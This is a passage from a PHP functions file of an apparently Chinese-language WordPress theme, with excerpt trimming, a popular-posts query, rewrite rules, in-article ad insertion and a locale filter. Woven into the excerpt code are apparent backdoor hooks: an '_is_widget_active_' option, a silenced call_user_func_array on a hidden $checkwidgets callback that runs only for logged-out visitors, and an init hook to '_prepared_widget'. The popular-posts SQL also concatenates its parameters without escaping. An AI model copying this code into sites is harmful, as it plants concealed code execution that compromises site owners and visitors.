		} else {
			$text=explode(" ", $text);
			if(count($text) > $length) {
				$l=$length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_links_text="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $html_tags) {
		$output=strip_tags($output, $html_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
	$output .= ($showdot && $ellipsis) ? "..." : "";
	$output=apply_filters($filters_type, $output);
	switch($more_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_link ) {
		if($forces_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		


function add_query_vars($aVars) {
  $aVars[] = "laiyuan"; 
  return $aVars;
}
// hook add_query_vars function into query_vars
add_filter('query_vars', 'add_query_vars');

function add_rewrite_rules($aRules) {
    $aNewRules = array('laiyuan/([^/]+)/?(/page/([0-9]+)?)?/?$' => 'index.php?author_name=admin&laiyuan=$matches[1]&paged=$matches[3]',
        'news'=>'index.php');
    $aRules = $aNewRules + $aRules;
    return $aRules;
}
add_filter('rewrite_rules_array', 'add_rewrite_rules');

function prefix_insert_post_ads( $content ) {
    if(ztmao('ztmao_ad_single_article')){
        $num = ztmao('ztmao_ad_single_article_num');
        $ad_code = wp_is_mobile()?ztmao('ztmao_mobile_ad_single_article_url'):ztmao('ztmao_ad_single_article_url');
        if ( is_single()) {
            return prefix_insert_after_paragraph( $ad_code, $num, $content );
        }
    }
    return $content;
}
 
// 插入广告所需的功能代码
function prefix_insert_after_paragraph( $insertion, $paragraph_id, $content ) {
    $closing_p = '</p>';
    $paragraphs = explode( $closing_p, $content );
    foreach ($paragraphs as $index => $paragraph) {
        if ( trim( $paragraph ) ) {
            $paragraphs[$index] .= $closing_p;
        }
        if ( ($index + 1)%$paragraph_id==0 ) {
            $paragraphs[$index] .= $insertion;
        }
    }
    return implode( '', $paragraphs );
}
add_filter( 'the_content', 'prefix_insert_post_ads',999 );
add_filter( 'show_admin_bar', '__return_false' );

function getWPseoLocale(){
    $langArr = array('zh_CN','zh_TW','zh_MO','zh_SG','zh_HK','zh_MY');
    $navLang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 5);
    $navLang = implode(explode('-', $navLang), '_'); 
    if(in_array($navLang,$langArr)){
        return $navLang;
    }else{
        return "zh_CN";
    }   
}
add_filter('wpseo_locale','getWPseoLocale');
?>
